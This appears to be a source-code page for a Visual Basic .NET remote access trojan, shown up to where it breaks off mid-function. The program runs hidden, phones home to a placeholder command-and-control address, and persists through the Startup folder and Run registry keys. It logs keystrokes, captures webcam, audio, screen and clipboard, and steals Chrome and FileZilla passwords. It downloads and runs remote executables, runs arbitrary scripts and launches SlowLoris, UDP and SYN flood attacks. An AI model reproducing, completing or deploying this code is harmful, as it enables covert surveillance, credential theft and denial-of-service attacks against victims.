-
Notifications
You must be signed in to change notification settings - Fork 64
/
sourrrce.txt
2397 lines (2230 loc) · 99.7 KB
/
sourrrce.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
Imports System.Windows
Imports System
Imports System.Windows.Forms
Imports System.Windows.Forms.Form
Imports Microsoft.VisualBasic
Imports System.Reflection
Imports System.Net
Imports System.Net.Sockets
Imports System.Threading
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Management
Imports System.Text.RegularExpressions
Imports System.Text
Imports Microsoft.Win32
Imports System.Net.NetworkInformation
Imports System.Drawing
Imports System.ServiceProcess
<Assembly: AssemblyTitle("ASSEMBLYTITLE")>
<Assembly: AssemblyDescription("ASSEMBLYDESCRIPTION")>
<Assembly: AssemblyCompany("ASSEMBLYCOMPANY")>
<Assembly: AssemblyProduct("ASSEMBLYPRODUCT")>
<Assembly: AssemblyCopyright("ASSEMBLYCOPYRIGHT")>
<Assembly: AssemblyTrademark("ASSEMBLYTRADEMARK")>
<Assembly: AssemblyVersion("3.5.2.4")>
<Assembly: AssemblyFileVersion("0.0.0.0")>
Namespace MyApp
Public Class EntryPoint
Public Shared Sub Main(args As [String]())
Dim FrmMain As New Form1
FrmMain.Size = New System.Drawing.Size(0, 0)
FrmMain.ShowInTaskbar = False
FrmMain.Visible = False
FrmMain.Opacity = 0
System.Windows.Forms.Application.Run(FrmMain)
End Sub
End Class
Public Class Form1
Inherits System.Windows.Forms.Form
Dim client As TcpClient
Dim Connection As Thread
Dim enckey As String = "magic_key"
Dim screensending As Thread
Dim comp As Long
Dim res As String
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Integer, ByVal Y As Integer) As Integer
Public Declare Sub mouse_event Lib "user32" Alias "mouse_event" (ByVal dwFlags As Integer, ByVal dx As Integer, ByVal dy As Integer, ByVal cButtons As Integer, ByVal dwExtraInfo As Integer)
Private Const MOUSEEVENTF_LEFTDOWN As Object = &H2
Private Const MOUSEEVENTF_LEFTUP As Object = &H4
Private Const MOUSEEVENTF_RIGHTDOWN As Object = &H8
Private Const MOUSEEVENTF_RIGHTUP As Object = &H10
Dim sl As New SlowLoris
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim WithEvents logger As New Keylogger
Dim logs As String
Dim strin As String
Dim curntdir2 As String
Dim listviewfiles As New ListView
Dim tbmessage As New TextBox
Dim rtblogs As New RichTextBox
Dim chat As New Form
Dim discomousing As Thread
#Region "Fun Declerations"
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Integer, ByVal uParam As Integer, ByVal lpvParam As String, ByVal fuWinIni As Integer) As Integer
Private Const SETDESKWALLPAPER As Integer = 20
Private Const UPDATEINIFILE As Long = &H1
Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Integer) As Long
Public Const WM_SYSCOMMAND As Long = &H112&
Public Const SC_SCREENSAVE As Long = &HF140&
Private Declare Function SwapMouseButton& Lib "user32" (ByVal bSwap As Long)
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Integer, ByVal lpvParam As Long, ByVal fuWinIni As Long) As Long
Declare Function mciSend Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpszCommand As String, ByVal lpszReturnString As String, ByVal cchReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal nCmdShow As Int32) As Int32
Private Const SW_HIDE As Int32 = 0
Private Const SW_RESTORE As Int32 = 9
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_HIDEWINDOW As Long = &H80
Private Const SWP_SHOWWINDOW As Long = &H40
#End Region
<DllImport("winmm.dll")> _
Private Shared Function mciSendString(ByVal command As String, ByVal buffer As StringBuilder, ByVal bufferSize As Integer, ByVal hwndCallback As IntPtr) As Integer
End Function
#Region "Webcam Declerations"
Dim picCapture As New PictureBox
Const WM_CAP As Short = &H400S
Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP + 10
Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP + 11
Const WM_CAP_EDIT_COPY As Integer = WM_CAP + 30
Const WM_CAP_SET_PREVIEW As Integer = WM_CAP + 50
Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP + 52
Const WM_CAP_SET_SCALE As Integer = WM_CAP + 53
Const WS_CHILD As Integer = &H40000000
Const WS_VISIBLE As Integer = &H10000000
Const SWP_NOMOVE As Short = &H2S
Const SWP_NOSIZE As Short = 1
Const SWP_NOZORDER As Short = &H4S
Const HWND_BOTTOM As Short = 1
Dim iDevice As Integer = 0
Dim hHwnd As Integer
Declare Function SendWebcam Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Object) As Integer
Declare Function SetWebcamPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
Declare Function DestroyWebcam Lib "user32" (ByVal hndw As Integer) As Boolean
Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Integer, ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, ByVal nHeight As Short, ByVal hWndParent As Integer, ByVal nID As Integer) As Integer
Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
Dim webcamsending As Thread
#End Region
Dim installenable, dropinsubfolder, startupenable, startupdir, startupuser, startuplocal, regpersistence, melt, delay As Boolean
Dim dropsubfoldername, dropname, path As String
Dim delaytime As Integer
Dim WithEvents reg As New RegistryWatcher
Dim objMutex As Mutex
Sub New()
logger.CreateHook()
End Sub
#Region "Connection"
Sub Connect()
TryAgain:
Try
client = New TcpClient("IPFUCKINGADDRESS", 4431)
Send(AES_Encrypt("NewConnection|" & GetInfo() & "|" & SystemInformation.UserName.ToString() & "|" & SystemInformation.ComputerName.ToString() & "|" & My.Computer.Info.OSFullName & "|" & My.Computer.Info.OSVersion & "|" & getpriv(), enckey))
client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
Catch ex As Exception
GoTo TryAgain
End Try
End Sub
Sub Read(ByVal ar As IAsyncResult)
Dim message As String
Try
Dim reader As New StreamReader(client.GetStream())
message = reader.ReadLine()
message = AES_Decrypt(message, enckey)
parse(message)
client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
Catch ex As Exception
Threading.Thread.Sleep(4000)
Connect()
End Try
End Sub
Public Sub Send(ByVal message As String)
Try
Dim writer As New StreamWriter(client.GetStream())
writer.WriteLine(message)
writer.Flush()
Catch
End Try
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try
objMutex = New Mutex(False, "SINGLE_INSTANCE_APP_MUTEX")
If objMutex.WaitOne(0, False) = False Then
objMutex.Close()
objMutex = Nothing
Application.ExitThread()
End
End If
installenable = VEKEGFZKE
dropinsubfolder = BCIEZTC
dropsubfoldername = "VJKFZGUIZG"
startupenable = BCHJEIK
startupdir = GERIU
startupuser = BURE
startuplocal = IUEQ
regpersistence = GTUIER
melt = BEUORF
delay = VWIUF
dropname = "GUER"
path = "HFFguD"
delaytime = GTREIGTF
If delay = True Then
System.Threading.Thread.Sleep(delaytime * 1000)
End If
If Application.ExecutablePath.Contains("Temp") Or Application.ExecutablePath.Contains("AppData") Or Application.ExecutablePath.Contains("Program") Then
GoTo 1
End If
If installenable = True Then
If dropinsubfolder = True Then
If Not My.Computer.FileSystem.DirectoryExists(getPath(path) & "\" & dropsubfoldername) Then
My.Computer.FileSystem.CreateDirectory(getPath(path) & "\" & dropsubfoldername)
End If
IO.File.WriteAllBytes(getPath(path) & "\" & dropsubfoldername & "\" & dropname, IO.File.ReadAllBytes(Application.ExecutablePath))
domelt(getPath(path) & "\" & dropsubfoldername & "\" & dropname)
Exit Sub
Else
IO.File.WriteAllBytes(getPath(path) & "\" & dropname, IO.File.ReadAllBytes(Application.ExecutablePath))
domelt(getPath(path) & "\" & dropname)
Exit Sub
End If
End If
1: If startupenable = True Then
If startupdir = True Then
Dim nam As String = New IO.FileInfo(Application.ExecutablePath).Name
IO.File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Startup).ToString & "\" & nam, IO.File.ReadAllBytes(Application.ExecutablePath))
ElseIf startupuser = True Then
Dim regkey As RegistryKey
regkey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
regkey.SetValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""), Chr(34) & Application.ExecutablePath & Chr(34))
ElseIf startuplocal = True Then
Dim regkey As RegistryKey
regkey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
regkey.SetValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""), Chr(34) & Application.ExecutablePath & Chr(34))
If regpersistence = True Then
reg.AddWatcher(RegistryWatcher.HKEY_ROOTS.HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""))
End If
End If
End If
If melt = True Then
SetAttr(Application.ExecutablePath, FileAttribute.Hidden)
End If
Connection = New Thread(AddressOf Connect)
Connection.Start()
Catch
End Try
End Sub
Sub parse(ByVal msg As String)
Try
If msg = "Disconnected" Then
Connection.Abort()
Connection = New Thread(AddressOf Connect)
Connection.Start()
ElseIf msg = "SystemInformation" Then
Send(AES_Encrypt("SystemInformation|" & getsystem() & GetDeepInfo(), enckey))
ElseIf msg = "GetProcess" Then
sendprocess()
ElseIf msg.StartsWith("Kill") Then
KillProcesses(msg)
ElseIf msg.StartsWith("New") Then
System.Diagnostics.Process.Start(msg.Split("|")(1))
ElseIf msg = "Software" Then
getinstalledsoftware()
ElseIf msg.StartsWith("RD") Then
comp = msg.Split("|")(1)
res = msg.Split("|")(2)
screensending = New Thread(AddressOf sendscreen)
screensending.Start()
ElseIf msg = "Stop" Then
screensending.Abort()
ElseIf msg = "GetPcBounds" Then
Send(AES_Encrypt("PCBounds" & My.Computer.Screen.Bounds.Height & "x" & My.Computer.Screen.Bounds.Width, enckey))
ElseIf msg.Contains("SetCurPos") Then
MouseMov(msg)
ElseIf msg.StartsWith("OpenWebsite") Then
openwebsite(msg.Replace("OpenWebsite", ""))
ElseIf msg.StartsWith("DandE") Then
dande(msg.Replace("DandE", ""))
ElseIf msg.StartsWith("MSG") Then
MessageBox.Show(GetBetween(msg, "Body: ", " Icon:", 0), GetBetween(msg, "Title: ", " Body:", 0), MessageBoxButton(GetBetween(msg, "Button: ", " End", 0)), MessageBoxIcn(GetBetween(msg, "Icon: ", " Button:", 0)))
ElseIf msg = "GetHostsFile" Then
loadhostsfile()
ElseIf msg.StartsWith("SaveHostsFile") Then
savehostsfile(msg.Replace("SaveHostsFile", ""))
ElseIf msg = "GetCPImage" Then
getclipboardimage()
ElseIf msg = "GetCPText" Then
getclipboardtext()
ElseIf msg.StartsWith("SaveCPText") Then
setclipboardtext(msg.Replace("SaveCPText", ""))
ElseIf msg.StartsWith("Shell") Then
runshell(msg.Replace("Shell", ""))
ElseIf msg = "GetKeyLogs" Then
Send(AES_Encrypt("KeyLogs" & logs, enckey))
ElseIf msg = "DelKeyLogs" Then
logs = ""
ElseIf msg = "RecordingStart" Then
audio_start()
ElseIf msg = "RecordingStop" Then
audio_stop()
ElseIf msg = "RecordingDownload" Then
audio_get()
ElseIf msg = "GetPasswords" Then
Main.GetChrome()
Send(AES_Encrypt("Passwords" & Main.lol & FileZilla(), enckey))
ElseIf msg = "GetTCPConnections" Then
Send(AES_Encrypt("TCPConnections" & GetTCPConnections(), enckey))
ElseIf msg.StartsWith("GetStartup") Then
GetStartupEntries()
ElseIf msg.StartsWith("UpdateFromLink") Then
UpdatefromLink(msg.Replace("UpdateFromLink", ""))
ElseIf msg.StartsWith("UpdatefromFile") Then
UpdateFromFile(msg.Replace("UpdatefromFile", ""))
ElseIf msg.StartsWith("ExecuteFromLink") Then
ExecutefromLink(msg.Replace("ExecuteFromLink", ""))
ElseIf msg.StartsWith("ExecutefromFile") Then
ExecutefromFile(msg.Replace("ExecutefromFile", ""))
ElseIf msg = "Restart" Then
rstart()
ElseIf msg = "Uninstall" Then
delete(3)
ElseIf msg.StartsWith("RemovefromStartup") Then
removefromstartup(msg.Replace("RemovefromStartup", ""))
ElseIf msg = "ListDrives" Then
listdrives()
ElseIf msg.StartsWith("ListFiles") Then
showfiles(msg.Replace("ListFiles", ""))
ElseIf msg.Contains("mkdir") Then
createnewdirectory(msg.Replace("mkdir", ""))
ElseIf msg.Contains("rmdir") Then
deletedirectory(msg.Replace("rmdir", ""))
ElseIf msg.Contains("rnfolder") Then
renamedirectory(msg.Replace("rnfolder", "").Split("|")(0), msg.Replace("rnfolder", "").Split("|")(1))
ElseIf msg.Contains("mvdir") Then
movedirectory(msg.Replace("mvdir", "").Split("|")(0), msg.Replace("mvdir", "").Split("|")(1), msg.Replace("mvdir", "").Split("|")(2))
ElseIf msg.Contains("cpdir") Then
copydirectory(msg.Replace("cpdir", "").Split("|")(0), msg.Replace("cpdir", "").Split("|")(1), msg.Replace("cpdir", "").Split("|")(2))
ElseIf msg.Contains("mkfile") Then
CreateNewFile(msg)
ElseIf msg.Contains("rmfile") Then
deletefile(msg.Replace("rmfile", "").Split("|")(0))
ElseIf msg.Contains("rnfile") Then
renamefile(msg.Replace("rnfile", "").Split("|")(0), msg.Replace("rnfile", "").Split("|")(1))
ElseIf msg.Contains("movefile") Then
movefile(msg.Replace("movefile", "").Split("|")(0), msg.Replace("movefile", "").Split("|")(1), msg.Replace("move", "").Split("|")(2))
ElseIf msg.Contains("copyfile") Then
copyfile(msg.Replace("copyfile", "").Split("|")(0), msg.Replace("copyfile", "").Split("|")(1), msg.Replace("copyfile", "").Split("|")(2))
ElseIf msg.StartsWith("sharefile") Then
sharefile(msg.Replace("sharefile", ""))
ElseIf msg.StartsWith("FileUpload") Then
UploadFile(msg.Replace("FileUpload", ""))
ElseIf msg = "ListWebcamDevices" Then
listdevices()
ElseIf msg = "WebcamStart" Then
webcamsending = New Thread(AddressOf getwebcam)
webcamsending.Start()
ElseIf msg.StartsWith("SlowLorisStart") Then
StartSlowLoris(msg.Replace("SlowLorisStart", ""))
ElseIf msg.StartsWith("SlowLorisStop") Then
sl.StopFlood()
ElseIf msg.StartsWith("UDPStart") Then
StartUDP(msg.Replace("UDPStart", ""))
ElseIf msg = "UDPStop" Then
If UDPFlood.FloodRunning = True Then
UDPFlood.StopUDPFlood()
End If
ElseIf msg.StartsWith("SYNStart") Then
StartSYN(msg.Replace("SYNStart", ""))
ElseIf msg = "SYNStop" Then
If SynFlood.IsRunning = True Then
SynFlood.StopSynFlood()
End If
ElseIf msg.StartsWith("HTMLScripting") Then
IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\FBqINhRdpgnqATxJ.html", msg.Replace("HTMLScripting", ""))
System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\FBqINhRdpgnqATxJ.html")
ElseIf msg.StartsWith("VBSScripting") Then
IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\UjfAPUFPaUkAqQTZ.vbs", msg.Replace("VBSScripting", ""))
System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\UjfAPUFPaUkAqQTZ.vbs")
ElseIf msg.StartsWith("BATScripting") Then
IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\X53DNwMsMwjtC9JW.bat", msg.Replace("BATScripting", ""))
System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\X53DNwMsMwjtC9JW.bat")
ElseIf msg.StartsWith("GetThumbNails") Then
SendThumbNail()
ElseIf msg.Contains("Website") Then
openwebsite(msg.Split("|")(1))
ElseIf msg.Contains("logoff") Then
Shell("shutdown /l")
ElseIf msg.Contains("shutdwn") Then
Shell("shutdown /s")
ElseIf msg.Contains("restrt") Then
Shell("shutdown /r")
ElseIf msg.Contains("Change") Then
My.Computer.Network.DownloadFile(msg.Split("|")(0), My.Computer.FileSystem.SpecialDirectories.Temp.ToString & "\wallpaper.jpg")
SystemParametersInfo(SETDESKWALLPAPER, 0, My.Computer.FileSystem.SpecialDirectories.Temp.ToString & "\wallpaper.jpg", UPDATEINIFILE)
ElseIf msg.Contains("Spk") Then
Dim SAPI As Object
SAPI = CreateObject("SAPI.spvoice")
SAPI.Speak(msg.Split("|")(1).ToString)
ElseIf msg.Contains("UndoMouse") Then
SwapMouseButton(False)
ElseIf msg.Contains("SwapMouse") Then
SwapMouseButton(True)
ElseIf msg = "CloseCD" Then
mciSend("set CDAudio door closed", 0, 0, 0)
ElseIf msg = "OpenCD" Then
mciSend("set CDAudio door open", 0, 0, 0)
ElseIf msg.Contains("ShowIcons") Then
Dim hWnd As IntPtr
hWnd = FindWindow(vbNullString, "Program Manager")
If Not hWnd = 0 Then
ShowWindow(hWnd, SW_RESTORE)
End If
ElseIf msg.Contains("HideIcons") Then
Dim hWnd As IntPtr
hWnd = FindWindow(vbNullString, "Program Manager")
If Not hWnd = 0 Then
ShowWindow(hWnd, SW_HIDE)
End If
ElseIf msg.Contains("ShowTaskbar") Then
ShowTaskBar()
ElseIf msg.Contains("HideTaskbar") Then
HideTaskBar()
ElseIf msg = "StartDiscoMouse" Then
discomousing = New Thread(AddressOf discomouse)
discomousing.Start()
ElseIf msg = "StopDiscoMouse" Then
discomousing.Abort()
ElseIf msg = "WebcamStop" Then
webcamsending.Abort()
ElseIf msg = "GetServices" Then
SendServices()
ElseIf msg.StartsWith("ServiceAction") Then
Dim res As String = msg.Replace("ServiceAction", "")
PerformServiceAction(res.Split("|")(0), res.Split("|")(1))
End If
Catch
End Try
End Sub
Function getPath(ByVal input As String) As String
Select Case input
Case "Appdata Local"
Return Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData).ToString()
Case "Appdata Roaming"
Return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString()
Case "Temp"
Return My.Computer.FileSystem.SpecialDirectories.Temp.ToString()
Case "Program Files"
Return Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).ToString()
Case "Programs"
Return Environment.GetFolderPath(Environment.SpecialFolder.Programs).ToString()
Case Else : Return Nothing
End Select
End Function
Sub domelt(ByVal path As String)
Try
Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe")
p.Arguments = "/C ping 1.1.1.1 -n 1 -w " & 3 & " > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote & "&" & ControlChars.Quote & path & ControlChars.Quote
p.CreateNoWindow = True
p.ErrorDialog = False
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
System.Diagnostics.Process.Start(p)
Application.Exit()
Catch
End Try
End Sub
Private Sub reg_RegistryChanged(M As RegistryWatcher.Monitor) Handles reg.RegistryChanged
Try
Dim regkey As RegistryKey
regkey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
regkey.SetValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""), Chr(34) & Application.ExecutablePath & Chr(34))
Catch
End Try
End Sub
#End Region
#Region "Others"
Sub discomouse()
Try
Do
Dim mousepos As New System.Drawing.Point
mousepos.X = New Random().Next(0, My.Computer.Screen.Bounds.Height)
mousepos.Y = New Random().Next(0, My.Computer.Screen.Bounds.Width)
System.Windows.Forms.Cursor.Position = mousepos
Loop
Catch
End Try
End Sub
Sub KillProcesses(ByVal txt As String)
Try
txt = txt.Replace("Kill|", "")
For i As Integer = 0 To CountCharacter(txt, "|")
System.Diagnostics.Process.GetProcessesByName(txt.Split("|")(i).Remove(txt.Split("|")(i).Length - 4, 4))(0).CloseMainWindow()
Next
Catch
End Try
End Sub
Public Function CountCharacter(ByVal value As String, ByVal ch As Char) As Integer
Try
Dim cnt As Integer = 0
For Each c As Char In value
If c = ch Then cnt += 1
Next
Return cnt
Catch
Return Nothing
End Try
End Function
Sub openwebsite(ByVal url As String)
Try
System.Diagnostics.Process.Start(url)
Catch : End Try
End Sub
Sub dande(ByVal url As String)
Try
Dim web As New WebClient
web.DownloadFile(url, My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\file.exe")
Shell(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\file.exe")
Catch
End Try
End Sub
Private Function GetBetween(ByVal input As String, ByVal str1 As String, ByVal str2 As String, ByVal index As Integer) As String
Dim temp As String = Regex.Split(input, str1)(index + 1)
Return Regex.Split(temp, str2)(0)
End Function
Function MessageBoxButton(ByVal Text As String) As Object
Select Case Text
Case "AbortRetryIgnore"
Return MessageBoxButtons.AbortRetryIgnore
Case "OK"
Return MessageBoxButtons.OK
Case "OKCancel"
Return MessageBoxButtons.OKCancel
Case "RetryCancel"
Return MessageBoxButtons.RetryCancel
Case "YesNo"
Return MessageBoxButtons.YesNo
Case "YesNoCancel"
Return MessageBoxButtons.YesNoCancel
Case Else
Return MessageBoxButtons.OK
End Select
End Function
Function MessageBoxIcn(ByVal text As String) As Object
Select Case text
Case "Asterisk"
Return MessageBoxIcon.Asterisk
Case "Error"
Return MessageBoxIcon.Error
Case "Exclamation"
Return MessageBoxIcon.Exclamation
Case "Hand"
Return MessageBoxIcon.Hand
Case "Information"
Return MessageBoxIcon.Information
Case "None"
Return MessageBoxIcon.None
Case "Question"
Return MessageBoxIcon.Question
Case "Stop"
Return MessageBoxIcon.Stop
Case "Warning"
Return MessageBoxIcon.Warning
Case Else
Return MessageBoxIcon.None
End Select
End Function
Sub UpdatefromLink(ByVal url As String)
Try
My.Computer.Network.DownloadFile(url, My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe")
Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe")
p.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote
p.CreateNoWindow = True
p.ErrorDialog = False
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
Dim pp As New System.Diagnostics.ProcessStartInfo("cmd.exe")
pp.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & " & ControlChars.Quote & My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe" & ControlChars.Quote
pp.CreateNoWindow = True
pp.ErrorDialog = False
pp.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
System.Diagnostics.Process.Start(p)
System.Diagnostics.Process.Start(pp)
Application.Exit()
Catch
End Try
End Sub
Sub UpdateFromFile(ByVal txt As String)
Try
File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe", Convert.FromBase64String(txt))
Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe")
p.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote
p.CreateNoWindow = True
p.ErrorDialog = False
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
Dim pp As New System.Diagnostics.ProcessStartInfo("cmd.exe")
pp.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & " & ControlChars.Quote & My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe" & ControlChars.Quote
pp.CreateNoWindow = True
pp.ErrorDialog = False
pp.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
System.Diagnostics.Process.Start(p)
System.Diagnostics.Process.Start(pp)
Application.Exit()
Catch
End Try
End Sub
Sub ExecutefromLink(ByVal url As String)
Try
My.Computer.Network.DownloadFile(url, My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe")
Shell(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe")
Catch
End Try
End Sub
Sub ExecutefromFile(ByVal txt As String)
Try
File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe", Convert.FromBase64String(txt))
Shell(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe")
Catch
End Try
End Sub
Sub rstart()
Try
Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe")
p.Arguments = "/C ping 1.1.1.1 -n 1 -w 15 > Nul & " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote
p.CreateNoWindow = True
p.ErrorDialog = False
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
System.Diagnostics.Process.Start(p)
Application.Exit()
Catch
End Try
End Sub
Sub delete(ByVal timeout As Integer)
Try
SetAttr(Application.ExecutablePath, FileAttribute.Normal)
Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe")
